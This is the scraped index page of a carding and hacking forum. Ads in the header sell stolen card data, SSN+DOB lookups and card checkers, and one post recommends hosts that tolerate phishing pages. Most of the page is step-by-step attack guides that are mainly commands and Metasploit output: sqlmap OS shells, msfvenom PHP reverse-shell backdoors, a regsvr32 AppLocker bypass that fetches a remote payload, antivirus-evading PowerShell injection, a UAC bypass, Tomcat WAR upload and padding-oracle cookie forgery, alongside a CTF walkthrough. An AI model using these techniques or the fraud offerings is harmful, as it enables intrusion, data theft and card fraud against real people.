Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis





PLACE YOUR TEXT HERE FOR ADVERTISE
PLACE YOUR TEXT HERE FOR ADVERTISE
CC+CVV Private Base Wholesale & Retail | 200+ Countries | Rare BINs
Best CC Shop Daily Updates | 200+ Countries | High Quality | 24/7 Fast Support
BlackBet.cc Banks, Shops, Real Docs, SSN+DOB, PayPal, GVoice/Gmail, Lookups








>PLACE TEXT ADVERTISING HERE< &PLACE TEXT ADVERTISING HERE< >PLACE TEXT ADVERTISING HERE< >PLACE TEXT ADVERTISING HERE<



Announcement : Black Hat Forum is one of the Best Black Hat Carding Forum welcome you. We will share great stuff for our loved members, hope you enjoy your stay on our Black Hat Forum and you will return to us EVERYDAY. Stay Safe Enjoy Blackhat Carding Forum.


Welcome, Guest
You have to register before you can post on our site.

Username
  

Password
  





Search Forums

(Advanced Search)

Forum Statistics
» Members: 114,288
» Latest member: r3dh3lls
» Forum threads: 13,082
» Forum posts: 20,980

Full Statistics

Latest Threads
Vn5socks.net - Service Se...
1 hour ago

Last post by FireHeaven
Shopsocks5.com - Service ...
Yesterday, 12:16 PM

Last post by shopsocks5.com
Secretline.top @StarLinkC...
Yesterday, 03:45 AM

Last post by Max097
Secretline.top @StarLinkC...
11-07-2026, 03:35 PM

Last post by Max097
Secretline.top @StarLinkC...
11-06-2026, 03:07 PM

Last post by Max097
[LUPIN ULP] 16.279.483 | ...
11-06-2026, 05:23 AM

Last post by ImLupin
Secretline.top @StarLinkC...
11-06-2026, 05:20 AM

Last post by Max097
Secretline.top @StarLinkC...
11-05-2026, 05:12 PM

Last post by Max097
⚡[350M] - UHQ ULP || URL:...
11-05-2026, 02:17 PM

Last post by eaglecloudofficial
ODIN CC | CCN Checker – F...
11-05-2026, 12:56 PM

Last post by odincheck

 
  15 Netfilix Account
Posted by: micro2002 - 04-25-2020, 10:15 PM - Forum: Netflix - No Replies

Quote:The contents of this section are hidden for your group

Register or Login


  LUCKYBINS.COM BEST CC SHOP EVER 30 COUNTRIES CC AVAILABLE! US/CA/BR/IT/ES/FR/AU
Posted by: luckybins.com - 04-25-2020, 09:53 PM - Forum: I Sell Open Source - No Replies

Hello everyone! I'm glad to introduce you CC STORE -

[To see content please register here]



- BEST PRICES!

- EVERYDAY UPDATES!

-FREE REGISTRATION!

- 24/7 TICKET AND JABBER SUPPORT!

- FULLY AUTOMATED SYSTEM!

- REFUNDS!

- 4 CC CHECKERS AVAILABE

- BITCOIN AND WEBMONEY ACCEPTABLE!

- 30 COUNTRIES CC AVAILABE

YOU ARE WELCOME!

[To see content please register here]


  Free & Paid Web Hosting Services (2020) - HTML, JS, PHP, SQL, PERL...
Posted by: hacxx - 04-25-2020, 03:39 PM - Forum: Hacking - Replies (3)

Here i bring to you a list of the most used web hosting services for pirates in 2020. Normally they ignore small things like dmca letters, phishing pages and any other light offenses. They operate in grey area which means that you can register and take advantage of the best underground scripts or normally called nulled scripts.

View the list

[To see content please register here]


(If you register in any of the services using my referral link i will be compensated but there isn't any additional cost to you. If you don't want to register using the referral link, copy the first link on each service.)


  (FREE) VPS NO CREDIT CARD NEEDED
Posted by: Blackhatking - 04-25-2020, 08:22 AM - Forum: VPN/RDP - Replies (1)

Quote:The contents of this section are hidden for your group

Register or Login

Sign up and get it


  [Guide] How to Exploiting the Webserver using Sqlmap and Metasploit (OS-Pwn)
Posted by: NINZA - 04-25-2020, 05:04 AM - Forum: Carders Home - No Replies

This article is about how to use sqlmap for SQL injection to hack victim pc and gain shell access. Here I had performed SQL attack to gain three different types of the shell (meterpreter; command shell; VNC )
Requirement:

  • Xampp/Wamp Server
  • DVWA Lab
  • Kali Linux: Burp suite, sqlmap tool
Very first you need to install DVWA lab in your XAMPP or WAMP server, read full article from

[To see content please register here]


Now open the DVWA in your pc and login with following credentials:
Username – admin
Password – password
Click on DVWA Security and set Website Security Level low
From the list of vulnerabilities select SQL Injection for your attack. Type user ID: 1 in text box. Don’t click on submit button without setting browser proxy. Set your browser proxy to make burp suite work properly.
[Image: 1.png?w=687&ssl=1]
Turn on burp suite click on the proxy in the menu bar and go for intercept is on the button. Come back and click on submit button in dvwa. Burp suit will provide” cookie” and “referrer” under fetched data which will be used later in sqlmap commands.
[Image: 2.png?w=687&ssl=1]
Let’s enumerate all databases name using “referrer and cookies” under sqlmap command.
sqlmap -u "http://192.168.1.79:81/dvwa/vulnerabilities/sqli/?id=1&submit=submit" --cookie="security=low; PHPSESSID=jgs556oh1j1n8pc1ea0ovmeed47" --dbs
1
sqlmap -u "http://192.168.1.79:81/dvwa/vulnerabilities/sqli/?id=1&submit=submit" --cookie="security=low; PHPSESSID=jgs556oh1j1n8pc1ea0ovmeed47" --dbs

[Image: 3.png?w=687&ssl=1]
It has dumped all names of the database. Now I am going to choose dvwa to access its back-end database management system.
[Image: 4.png?w=687&ssl=1]
Now type the following command to access shell of the web server and follow the screenshot.
sqlmap -u "http://192.168.1.79:81/dvwa/vulnerabilities/sqli/?id=1&submit=submit" --cookie="security=low; PHPSESSID=jgs556oh1j1n8pc1ea0ovmeed47" -D dvwa --os-pwn
1
sqlmap -u "http://192.168.1.79:81/dvwa/vulnerabilities/sqli/?id=1&submit=submit" --cookie="security=low; PHPSESSID=jgs556oh1j1n8pc1ea0ovmeed47" -D dvwa --os-pwn

[Image: 5.png?w=687&ssl=1]
Type 1 for Metasploit framework to establish a reverse connection then type 4 for php payload for supporting server and again type 1 for the common location for the writable directory to upload payload as a backdoor in victim PC.
[Image: 6.png?w=687&ssl=1]
Here Type 1 for reverse tcp connection as the default option. Now I will choose these entire three payloads one by one and try to hack web server every time. Now type 1 for meterpreter.
[Image: 7.png?w=687&ssl=1]
It will load the Metasploit framework and provides meterpreter session 1.
[Image: 8.png?w=687&ssl=1]
Repeat the whole process till reverse tcp connection when further it asks to choose payload, then type 2 for the shell.
[Image: 9.png?w=687&ssl=1]
Again it will load the Metasploit framework and provides command shell session 1.
[Image: 10.png?w=687&ssl=1]
Repeat the whole process till reverse tcp connection when further it asks to choose payload, this time now type 3 for VNC.
[Image: 11.png?w=687&ssl=1]
Again it will load the Metasploit framework and launching viewer.
[Image: 12.png?w=687&ssl=1]
Here you can see from the given screenshot that I had access victim pc through TightVNC and now victims each moment will be kept under my observation. Hence we have hacked victim pc three times with various type shell.
[Image: 13.png?w=687&ssl=1]

In this article, we will see how to perform command injection using sqlmap and try to execute any cmd command through sqlmap if the web server is having SQL vulnerability.
Requirement
  • Xampp/Wamp Server
  • DVWA Lab
  • Kali Linux: Burp suite, sqlmap tool
Very first you need to install DVWA lab in your XAMPP or WAMP server, read the full article from

[To see content please register here]


Now open the DVWA in your pc and log in with following credentials:
Username – admin
Password – password
Click on DVWA Security and set Website Security Level low
From the list of vulnerability select SQL Injection for your attack. Type user ID: 1 in the text box. Don’t click on submit button without setting browser proxy. Set your browser proxy to make burp suite work properly.
[Image: 1.png?w=687&ssl=1]
Turn on burp suite click on the proxy in the menu bar and go for intercept is on the button. Come back and click on submit button in dvwa. Burp suit will provide” cookie” and “referrer” under fetched data which will later use in sqlmap commands.
[Image: 2.png?w=687&ssl=1]
Let’s enumerate all databases name using “referer and cookies” under sqlmap command.
sqlmap -u "http://192.168.0.102/dvwa/vulnerabilities/sqli/?id=1&submit=submit" --cookie="security=low; security_level=0; PHPSESSID=9v3dfoh1j1n6pc1ea0ovm84ik2" --dbs
1
sqlmap -u "http://192.168.0.102/dvwa/vulnerabilities/sqli/?id=1&submit=submit" --cookie="security=low; security_level=0; PHPSESSID=9v3dfoh1j1n6pc1ea0ovm84ik2" --dbs

[Image: 3.png?w=687&ssl=1]
Notice the image given below it has dumped all names of the database. Now we are going to choose dvwa for a command injection attack.
[Image: 4.png?w=687&ssl=1]
Now open another terminal for Metasploit framework and Type msfconsole.
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique. The module creates a web server that hosts a .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command. This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
msf > use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit(regsvr32_applocker_bypass_server) > set payload windows/meterpreter/reverse_tcp
msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.0.104
msf exploit(regsvr32_applocker_bypass_server) > set srvhost 192.168.0.104
msf exploit(regsvr32_applocker_bypass_server) > set srvport 5555
msf exploit(regsvr32_applocker_bypass_server) > exploit

1
2
3
4
5
6

msf > use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit(regsvr32_applocker_bypass_server) > set payload windows/meterpreter/reverse_tcp
msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.0.104
msf exploit(regsvr32_applocker_bypass_server) > set srvhost 192.168.0.104
msf exploit(regsvr32_applocker_bypass_server) > set srvport 5555
msf exploit(regsvr32_applocker_bypass_server) > exploit

Above module will generate a malicious code as a DLL file. Copy the selected part for dll file and then run this malicious code using the sqlmap command
[Image: 6.png?w=687&ssl=1]
Now we’re going to execute dll file through CMD command using sqlmap, therefore, paste above malicious code in sqlmap command as shown in the image given below.
sqlmap -u "http://192.168.0.102/dvwa/vulnerabilities/sqli/?id=1&submit=submit" –-cookie="security=low; security_level=0; PHPSESSID=9v3dfoh1j1n6pc1ea0ovm84ik2″ -D dvwa --os-cmd="regsvr32 /s /n /u /i:http://192.168.0.104:5555/AVM0rtWSE.sct scrobj.dll"
1
sqlmap -u "http://192.168.0.102/dvwa/vulnerabilities/sqli/?id=1&submit=submit" –-cookie="security=low; security_level=0; PHPSESSID=9v3dfoh1j1n6pc1ea0ovm84ik2″ -D dvwa --os-cmd="regsvr32 /s /n /u /i:http://192.168.0.104:5555/AVM0rtWSE.sct scrobj.dll"

[Image: 7.png?w=687&ssl=1]
Then type 4 for php payload and type 1 for a common location to upload payload as a backdoor in victim PC.
[Image: 8.png?w=687&ssl=1]
As soon as the command will execute come back to the Metasploit framework and you will get meterpreter session 1 opened.
sessions -i 1
meterpreter>sysinfo

1
2

sessions -i 1
meterpreter>sysinfo

[Image: 9.png?w=687&ssl=1]

Hey Guys!! You may have used sqlmap multiple times for SQL injection to get database information of the web server. Here in this tutorial, I will show you “how to upload any backdoor to get meterpreter session” if the website is suffering from SQL vulnerability.
Table of Content
  • DVWA Lab Set-Up
  • Navigate to page Vulnerable to SQL injection
  • Intercept the Browser Request (Burp-suite)
  • Save Intercept data in a text file
  • Extracting database name (SQLMAP)
  • Spawning os-shell (SQLMAP)
  • Explore file Stager in the browser
  • Generating PHP backdoor (msfvenom)
  • Run Multi-handler (Metasploit)
  • Upload Msfvenom PHP Backdoor and execute
  • Obtain Meterpreter Shell
DVWA Lab Set-Up
  • Requirement:
  • Xampp/Wamp Server
  • DVWA web vulnerable application
  • Kali Linux: Burp suite, sqlmap tool
Very first you need to install DVWA lab in your XAMPP or WAMP server, read the full article from here
Navigate to Page Vulnerable to SQL Injection
Now let’s navigate to DVWA through a web browser and log in with following credentials:
Username – admin
Password – password
Click on DVWA Security and set Website Security Level low
From the list of vulnerability select SQL Injection for your attack. Type user ID: 1 in the text box. Don’t click on submit button without setting web browser proxy. Set your browser proxy to make burp suite work properly.
[Image: 1.png?w=687&ssl=1]

Intercept the Browser Request
Now let’s intercept the browser request with the following steps:
  • After setting Network Proxy in the web browser then turn on burp suite.
  • Click on the proxy in the menu bar then go for intercept is on the button.
  • Come back and click on submit button in dvwa.
  • Copy the intercepted data and save in a text file.
The Intercept button is used to display HTTP and Web Sockets messages that pass between your browser and web servers. Burp suit will provide” cookie” and “referrer” under fetched data which can be used in sqlmap commands directly.
[Image: 2.png?w=687&ssl=1]
Extracting Database Name
Now use sqlmap for SQL injection and run the following command to enumerate database name.
sqlmap -r file --dbs --batch
1
sqlmap -r file --dbs --batch

Here –r option uses to analyze HTTP request from “file” and as you can observe it has to dump DVWA as the database name.
[Image: 3.png?w=687&ssl=1]
Spawning os-shell
Now Type the following command to run sqlmap to access os-shell of the web server (dvwa)
sqlmap -r file -D dvwa --os-shell
1
sqlmap -r file -D dvwa --os-shell

It will try to generate a backdoor; if you want to upload PHP backdoor inside the web server then type 4 for PHP payload.
[Image: 4.png?w=687&ssl=1]
Type 4 for brute force search to use as a writable directory to upload it.
It is trying to upload the file on “/xampp/htdocs/” by using SQL injection techniques. As soon as the file is uploaded; it will send INFO “the file stager has been successfully uploaded on /xampp/htdocs/”and you will get os-shell of victim pc. Other than here it also shows the path of file stager where you can manually upload your backdoor, look at over highlighted URL:

[To see content please register here]


1

[To see content please register here]


[Image: 5.png?w=687&ssl=1]
Explore File Stager in the Browser
Explore the URL:http://192.168.1.105/tmpurufu.php in the browser. From the given below screenshot, you can read the heading of the web page “sqlmap file uploader” which will let you browse your backdoor on the web server(dvwa) and later we can upload that backdoor at /xampp/htdocs/ directory of the web server.
[Image: 6.png?w=687&ssl=1]
Generating PHP Backdoor
Let’s prepare the malicious php file with msfvenom that we can upload:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.109 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.109 lport=4444 -f raw

Copy the code from <?php to die() and save it in a file with .php extension. I have saved the backdoor as shell.php on the desktop and will later browser this file to upload on the web server. On other hand load the Metasploit framework by typing msfconsole and start multi/handle.
[Image: 7.png?w=687&ssl=1]
Upload & Execute Msfvenom PHP Backdoor
Click on browse tab to select your backdoor file (shell.php) file and then click on upload.
[Image: 8.png?w=687&ssl=1]
GREAT!!! Here it shows Admin File is uploaded which means backdoor shell.php is uploaded.
[Image: 9.png?w=687&ssl=1]
To execute the backdoor file on the target machine, run URL:192.168.1.105/shell.php in the browser and you will receive reverse connection through multi/handler.
[Image: 10.png?w=687&ssl=1]
Obtain Meterpreter Shell
msf> use multi/handler
msf exploit(handler) > set lport 4444
msf exploit(handler) > set lhost 192.168.1.109
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > exploit

1
2
3
4
5

msf> use multi/handler
msf exploit(handler) > set lport 4444
msf exploit(handler) > set lhost 192.168.1.109
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > exploit

Divine!!! Here we have got our meterpreter session 1.
[Image: 11.png?w=687&ssl=1]

The main purpose to solve this lab was to share the padding oracle attack technique with our visitors
The padding oracle attack enables an attacker to decrypt encrypted data without knowledge of the encryption key and used cipher by sending skillfully manipulated ciphertexts to the padding oracle and observing of the results returned by it. This causes loss of confidentiality of the encrypted data. E.g. in the case of session data stored on the client side the attacker can gain information about the internal state and structure of the application. A padding oracle attack also enables an attacker to encrypt arbitrary plain texts without knowledge of the user key and cipher. If the application assumes that integrity and authenticity of the decrypted data are given, an attacker could be able to manipulate internal session state and possibly gain higher privileges.

[To see content please register here]


First, you need to download padding oracle from

[To see content please register here]

. Now install the iso image in VM ware and start it.

Start Kali Linux as well as explore target IP: 192.168.1.29 on the browser. Now at this point, you need to create a user account, click on the register option.
[Image: 1.png?w=687&ssl=1]
Now register a username with its password and then log in to exploit this vulnerability. I registered as raj: 123
[Image: 2.png?w=687&ssl=1]
Once you create a user account get on login panel and at the same time use burp suite to capture the cookies.
[Image: 3.png?w=687&ssl=1]
Turn up burp suite and don’t forget to set manual proxy of your browser. Now open proxy tab and hit intercepts on the button to capture the request of the target. When this is done you will get fetched data under intercept window. Here you will find that I try to login with credential raj: 123
[Image: 4.png?w=687&ssl=1]
Now right click on its window and a list of options will appear. A further click on send to the repeater. Come across over screenshot here you will find two panels left and right for request and response respectively.
In left panel send username: raj and password: 123 as request; click on GO button to forward this request and which will further generate a cookie for auth as a response in the right panel.
Copy the highlighted cookie and this will be used in below command.
[Image: 5.png?w=687&ssl=1]
Next open terminal to run the command shown in the given image which contains target URL and above-copied cookie
Python-padding oracle is a Python implementation heavily based on PadBuster, an automated script for performing Padding Oracle attacks, developed by Brian Holyfield of Gotham Digital Science. This command will decrypt the encrypted value of auth into plaintext.
Further type 2 where it asked ID recommended.
[Image: 6.png?w=687&ssl=1]
Last part of screenshot has captured three decrypt values in base64, HEX, and ASCII. The cookie of auth is a combination of username with its password from padbuster we come to know what is the encrypted value of username for raj.
[Image: 7.png?w=687&ssl=1]
We are very near to our goal just encrypt this auth cookie with the user as admin once again. Here we have our plaintext as admin and let’s encode it using padbuster.
Further type 2 where it asked ID recommended.
[Image: 8.png?w=687&ssl=1]
Here the highlighted part is our encrypted value for admin. Copy It”BAit——–AAAA”.
[Image: 9.png?w=687&ssl=1]
Go to burp suit once again and click on params under intercept frame; it contains two fields as username and password, now add the third field for auth value. Click on ADD button on the right side of the frame which will add another row in params.
[Image: 10.png?w=687&ssl=1]
Here it has three columns: type, name, and value; paste the above-encrypted value in these columns as type: cookie, name: auth, value: BAit——AAAAAA which we have got from padbuster. Then Click on forward to send this request on the web server.
[Image: 11.png?w=687&ssl=1]
Again click on forward to send it.
[Image: 12.png?w=687&ssl=1]
A request sent by burp suite automatically on the web server you will get logged in as an admin account.
Congrats!!! We meet the goal of this lab.
[Image: 13.png?w=687&ssl=1]


  [Guide] How to Hack the Fortress VM (CTF Challenge)
Posted by: NINZA - 04-25-2020, 05:02 AM - Forum: Carders Home - No Replies

today we are going to solve another CTF challenge “FORTRESS” of the vulnhub labs. The level of this challenge is not so tough and its difficulty level is described as medium. Solving this lab will give you a good experience of web penetration testing.
You can download it from here:

[To see content please register here]


Penetrating Methodology
  • Network Scanning (Nmap, netdiscover)
  • Abusing HTTP service (Burp-suite)
  • Generating Dictionary (crunch)
  • Cracking Hash (john the ripper)
  • SSH login
  • Capture the 2nd flag and 3rd flag
Let’s Begin!!
Start with the netdiscover command to identify target IP in the local network, in my network 192.168.1.109 is my target IP, you will get yours.
netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]
Further, let’s enumerate open ports and protocols information of the target’s network with help of nmap following command:
nmap -A 192.168.1.109
1
nmap -A 192.168.1.109

As shown in port 22, 80, 443 are open, let’s penetrate more.
[Image: 2.png?w=687&ssl=1]
So we explore target IP in the web browser and welcomed by the following image.
[Image: 3.png?w=687&ssl=1]
After making lots of efforts I decided to use dirbuster for directory brute-force. Type dirbuster on the terminal and automatically OWASP dirbuster window gets open. Here browse your dictionary from /usr/share/dirbuster/wordlists and choose your appropriate wordlist as I select medium.txt, do not forget to address target URL in the top of the text field as http//192.168.0.109 and finally hit the start button.
[Image: 4.png?w=687&ssl=1]
Luckily!!! I found something which is a scanner.php file.
[Image: 5.png?w=687&ssl=1]
So when I explored scanner.php in the web browser, it put-up the following web page in front of us. So when I trigger the localhost IP we got the result of Nmap scan which you can perceive from below image. I also tried to breach it through some kind of command injection but hard luck! all seems to be wasted here.
[Image: 6.png?w=687&ssl=1]
Then I decide to capture the HTTP request in burp suite and send the intercepted request into the repeater.
[Image: 7.png?w=687&ssl=1]
Look over given below image here you will find two panels left and right for request and response respectively.
Type ls as request and click on go tab. This will generate a response to the request you made.
Request: ls
Response: index.html
k1ngd0m_k3yz
logo.png
s1kr3t
scanner.php
styles.css

1
2
3
4
5
6
7

Request: ls
Response: index.html
k1ngd0m_k3yz
logo.png
s1kr3t
scanner.php
styles.css

[Image: 8.png?w=687&ssl=1]
So among 4 directories enumerated above, we ran ls command again to check the list of /s1kr3t and found flag.txt as a response.
Request: ls
Response: flag.txt
[Image: 8_1.png?w=687&ssl=1]
Now repeat the process till the last step of making a request and getting a response through the repeater. With help of cat command, we found the 1st flag.
Request: cat flag.txt
Response: FLAG{n0_one_br3aches_teh_f0rt}
[Image: 8_2.png?w=687&ssl=1]
Then we try to a checklist of k1ngd0m_k3yz and found two files inside it.
Request: ls k1ngd0m_k3yz
Response: master and passwd
[Image: 9.png?w=687&ssl=1]
So I open the master file and found a single entry of /etc/passwd file for user craven along with password hash.
Request: cat k1ngd0m_k3yz/master
Let’s copy the hash password in a text file and named it hash.txt
[Image: 9_1.png?w=687&ssl=1]
Then I open /k1ngd0m_k3yz/passwd where I didn’t found any remarkable clue.
[Image: 9_2.png?w=687&ssl=1]

Then I try to open /etc/passwd file and as you can observe, inside burp response, we got the passwd file and I found an entry for two local users: vulnhub & Craven.
[Image: 10.png?w=687&ssl=1]
Then, I try to get into a/home/craven directory in order to view the present list with the following request.
Request: ls /home/craven
Response: I got three files flag.txt, hint.txt, and remainder.txt.
[Image: 11.png?w=687&ssl=1]


First I try to flag.txt but fail to read it, then inside hint.txt we got some hint for the user password.
[Image: 12.png?w=687&ssl=1]

Then I open a reminder.txt file that gave me a list to buy.
[Image: 13.png?w=687&ssl=1]

Then with help of hint.txt and remainder.txt, we have generated a dictionary using crunch. Crunch is a wordlist generator where you can specify a standard character set or a character set you specify.
crunch 10 10 -t %%%qwerty^ > dict.txt
1
crunch 10 10 -t %%%qwerty^ > dict.txt

[Image: 14.png?w=687&ssl=1]
If you remember we have already enumerated hash password for craven from inside k1ngd0m_k3yz/master. Use john the ripper to crack the password with help crunch dictionary generated above.
cd Desktop
john --wordlist=dict.txt hash.txt

1
2

cd Desktop
john --wordlist=dict.txt hash.txt

931qwerty? is the password for craven as you can perceive from the given image.
[Image: 15.png?w=687&ssl=1]
If you remember the result from nmap which shows port 22 is open now try to connect the target through SSH using above credential.
ssh [email protected]
1
ssh [email protected]

Yesss!! We got login successfully, now when I checked the list of current directory, I found flag.txt.
ls
cat flag.txt

1
2

ls
cat flag.txt

Luckily found 2nd FLAG {w0uld_u_lik3_som3_b33r_with_ur_r3d_PiLL}
[Image: 19.png?w=687&ssl=1]
It was very tough to get the third flag.txt but with help of the following command, we reached to the final flag.
cd /home
ls
cd vulnhub
ls
cat flag.txt
./reader flag.txt

1
2
3
4
5
6

cd /home
ls
cd vulnhub
ls
cat flag.txt
./reader flag.txt

For finding the 3rd flag we applied the symlink process and successfully grabbed the last flag also.
cd /tmp
ln /home/vulnhub/flag.txt raj
cd /home/vulnhub
./reader /tmp/raj

1
2
3
4

cd /tmp
ln /home/vulnhub/flag.txt raj
cd /home/vulnhub
./reader /tmp/raj

Finally, I found 3rd FLAG{its_A_ph0t0_ph1ni5h}
[Image: 20.png?w=687&ssl=1]

Target: Window Server
Attacker machine: Kali Linux
In this article I am going to make PowerShell injection attack though SEToolkit; for this attack, it is necessary that SMB service must be running and you should aware of username and password of your target pc to get the Meterpreter session.
Let’s Begin The Game!!!
Scan the victim IP from NMAP by typing following command on the terminal in Kali Linux
nmap –sV 192.168.1.104
1
nmap –sV 192.168.1.104

Under version scan, it shows port 445 is open and if you are not aware from port protocol services then let me tell you that port 445 is used for SMB protocol for making communication between two different operating systems like as we have Linux and windows.
[Image: 0.png?w=687]
Now Click Applications > Exploitation Tools > Social Engineering Toolkit > setoolkit.
A new terminal gets open for the setoolkit framework and now you have to follow these steps for making an attack on the target.
From the screenshot, you can perceive that it through a menu to select the following approach for the attack.
Choose penetration testing (fast-track) and type2 for this method.
[Image: 1.png?w=687]
Fast-Track is an automated penetration suite for penetration testers. So from the next screenshot again we have following option, choose PSEXEC Powershell Injection and type 6 for it.
PSEXEC Powershell Injection Attack: This attack will inject a meterpreter backdoor through PowerShell memory injection. This will avoid Anti-Virus since we will never touch disk or memory. Will require Powershell to be installed on the remote victim machine. You can use either straight passwords or hash values.
[Image: 2.png?w=687]
Now give the following information to execute an attack on victim pc.
Enter remote IP as rhost: 192.168.1.104
Enter username: administrator
Enter password: Ignite@1234
If you don’t know the domain name hit enter only for this and same for random select to a number of threads hit enter.
Enter listener IP as lhost: 192.168.1.3
Enter port number: 445
[Image: 3.png?w=687]
Now this will generate a payload for PowerShell injection and start loading Metasploit framework itself. From the below image, you will found that through alphabetic shellcode we have got meterpreter session1 open.
Now type sessions to view active session
[Image: 4.png?w=687]
Further Type sessions –I 1 to get inside meterpreter mode.
Meterpreter> sysinfo
{NOTE: This attack is depending upon the version of SMB PROTOCOL; if the version is updated of 2.1 then maybe this attack is not successful. Use aggressive scanning method for version detail.}
[Image: 5.png?w=687]

WP Symposium turns a WordPress website into a Social Network! It is a WordPress plugin that provides a forum, activity (similar to Facebook wall), member directory, private mail, notification panel, chat windows, profile page, social widgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook Connect and Mobile support! You simply choose which you want to activate! Certain features are optional to members to protect their privacy.”
WordPress plugin wp-symposium version 15.5.1 (and probably all existing previous versions) suffers from an unauthenticated SQL Injection in get_album_item.php parameter ‘size’. The issue is exploitable even if the plugin is deactivated.
The SQL injection allows (very easily) to retrieve all the database content, which includes users details and password hashes. An attacker may be able to crack users’ password hashes and log in as them. If an administrator user password is obtained, then the attacker could take complete control of the WordPress installation. Collected information may also allow further attacks.

[To see content please register here]

Attacker: kali Linux
Target: wordpress
Let start!!!!
Start WPSCAN in kali from following step:
Now scan the target IP for scanning any wordpress application and type following command
Through this command we are scanning current plugin installed for any wordpress website.
./wpscan.rb –url

[To see content please register here]

–enumerate p

[Image: 1.png?w=687&ssl=1]
The red sign indicating wp symposium 15.5.1 is vulnerable and suffers from an unauthenticated SQL Injection although blue sign shows version 15.8 if fixed which is not vulnerable till now.
[Image: 2.png?w=687&ssl=1]
Now start metasploit for attack and type msfconsole on terminal in kali Linux.
msf > use auxiliary/admin/http/wp_symposium_sql_injection
msf auxiliary(wp_symposium_sql_injection) >set rhost 192.1681.0.104
msf auxiliary(wp_symposium_sql_injection) >set rport 80
msf auxiliary(wp_symposium_sql_injection) >exploit
Nice!!! Here we found the relevant username and password as user: raj respectively.
[Image: 3.png?w=687&ssl=1]

First of all, to learn to how to hack victim’s PC click

[To see content please register here]

. After hacking when you have gained a meterpreter session then type:
getprivs
using this command you will confirm the fact that you have not entered the administrator yet. So now, there is no need to worry.
[Image: 1.png?w=687&ssl=1]
Now use the following exploit
This module will bypass Windows UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when the Windows Event Viewer is launched. It will spawn a second shell that has the UAC flag turned off. This module modifies a registry key, but cleans up the key once the payload has been invoked. The module does not require the architecture of the payload to match the OS. If specifying EXE::Custom your DLL should call ExitProcess () after starting your payload in a separate process.
[Image: 2.png?w=687&ssl=1]
As the command will make our file execute we will have a session with administrator privileges as shown
[Image: 3.png?w=687&ssl=1]


  [Guide] How to Penetration Testing in Metasploitable 3 with SMB and Tomcat
Posted by: NINZA - 04-25-2020, 05:00 AM - Forum: Carders Home - No Replies

Target: Metasploitable 3
Attacker: Kali Linux
Let’s begin through scanning the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. Type the following command on terminal in kali Linux.
nmap –p- -sV 192.168.1.14
From nmap result we can see port 8282 is open for apache tomcat
[Image: 1.png?w=687&ssl=1]
Open target IP on browser as 192.168.1.14:8282 Tomcat is running on port 8282, but requires credentials to access.
[Image: 2.png?w=687&ssl=1]
Now we are going to login with psexec using smb port 445
Psexec.exe
Psexec.exe is software that helps us to access other computers in a network. This software directly takes us to the shell of the remote PC with advantage of doing nothing manually. Download this software from –>

[To see content please register here]

.
Unzip the file once you have downloaded it. Go to you command prompt and type:
PsExec.exe \\192.168.1.14 -u vagrant -p vagrant cmd
This command is addressing the host IP and its credential which I have access from my previous article read from

[To see content please register here]

.

-u for username: vagrant
-p for password: vagrant
cmd: to enter victim’s command prompt
[Image: 3.png?w=687&ssl=1]
As I already had a shell, I was able to retrieve the credentials from the tomcat-users.xml file, located at c:\program files\apache software foundation\tomcat\apache-tomcat-8.0.33\conf.
Type tomcat-users.xml
As soon as the command execute you can see I had got credential for tomcat username sploit and password sploit. Use this credential for attack using metasploit framework in kali Linux.
[Image: 4.png?w=687&ssl=1]
Start metasploit framework by typing msfconsole on terminal in kali Linux when metasploit get loaded type given below command for tomcat attack.
This module can be used to execute a payload on Apache Tomcat servers that have an exposed “manager” application. The payload is uploaded as a WAR archive containing a jsp application using a POST request against the /manager/html/upload component. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads.
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) > set rhost 192.168.1.14
msf exploit(tomcat_mgr_upload) > set rport 8282
msf exploit(tomcat_mgr_upload) > set HttpUsername sploit
msf exploit(tomcat_mgr_upload) > set HttpPassword sploit
msf exploit(tomcat_mgr_upload) > exploit
Wonderful!!! Our meterpreter session is opened and you have got victim shell.
Meterpreter> sysinfo
[Image: 5.png?w=687&ssl=1]
Another way to exploit your target
This module logs in to an Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP.
msf > use exploit/multi/http/axis2_deployer
msf exploit(axis2_deployer) > set rhost 192.168.1.8
msf exploit(axis2_deployer) > set rport 8282
msf exploit(axis2_deployer) >exploit
Awesome!!! Meterpreter session is opened again and you have got victim shell once again.
Meterpreter> sysinfo
Meterpreter> getuid
[Image: 6.png?w=687&ssl=1]

Target: Metasploitable 3
Attacker: Kali Linux
Use nmap command for scanning the target PC. NMAP will show all available open ports and their running services. Type the following command on terminal in kali Linux for aggressive scan.
nmap –p- -A 192.168.1.14
[Image: 2.png?w=687&ssl=1]
Open target IP on browser with one of unknown port 4848as 192.168.1.14:4848
[Image: 3.1.png?w=687&ssl=1]
Start metasploit framework by typing msfconsole on terminal in kali Linux when metasploit get loaded type given below command for attack.
This module attempts to login to GlassFish instance using username and password combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It will also try to do an authentication bypass against older versions of GlassFish. Note: by default, GlassFish 4.0 requires HTTPS, which means you must set the SSL option to true, and SSLVersion to TLS1. It also needs Secure Admin to access the DAS remotely.
msf > use auxiliary/scanner/http/glassfish_login
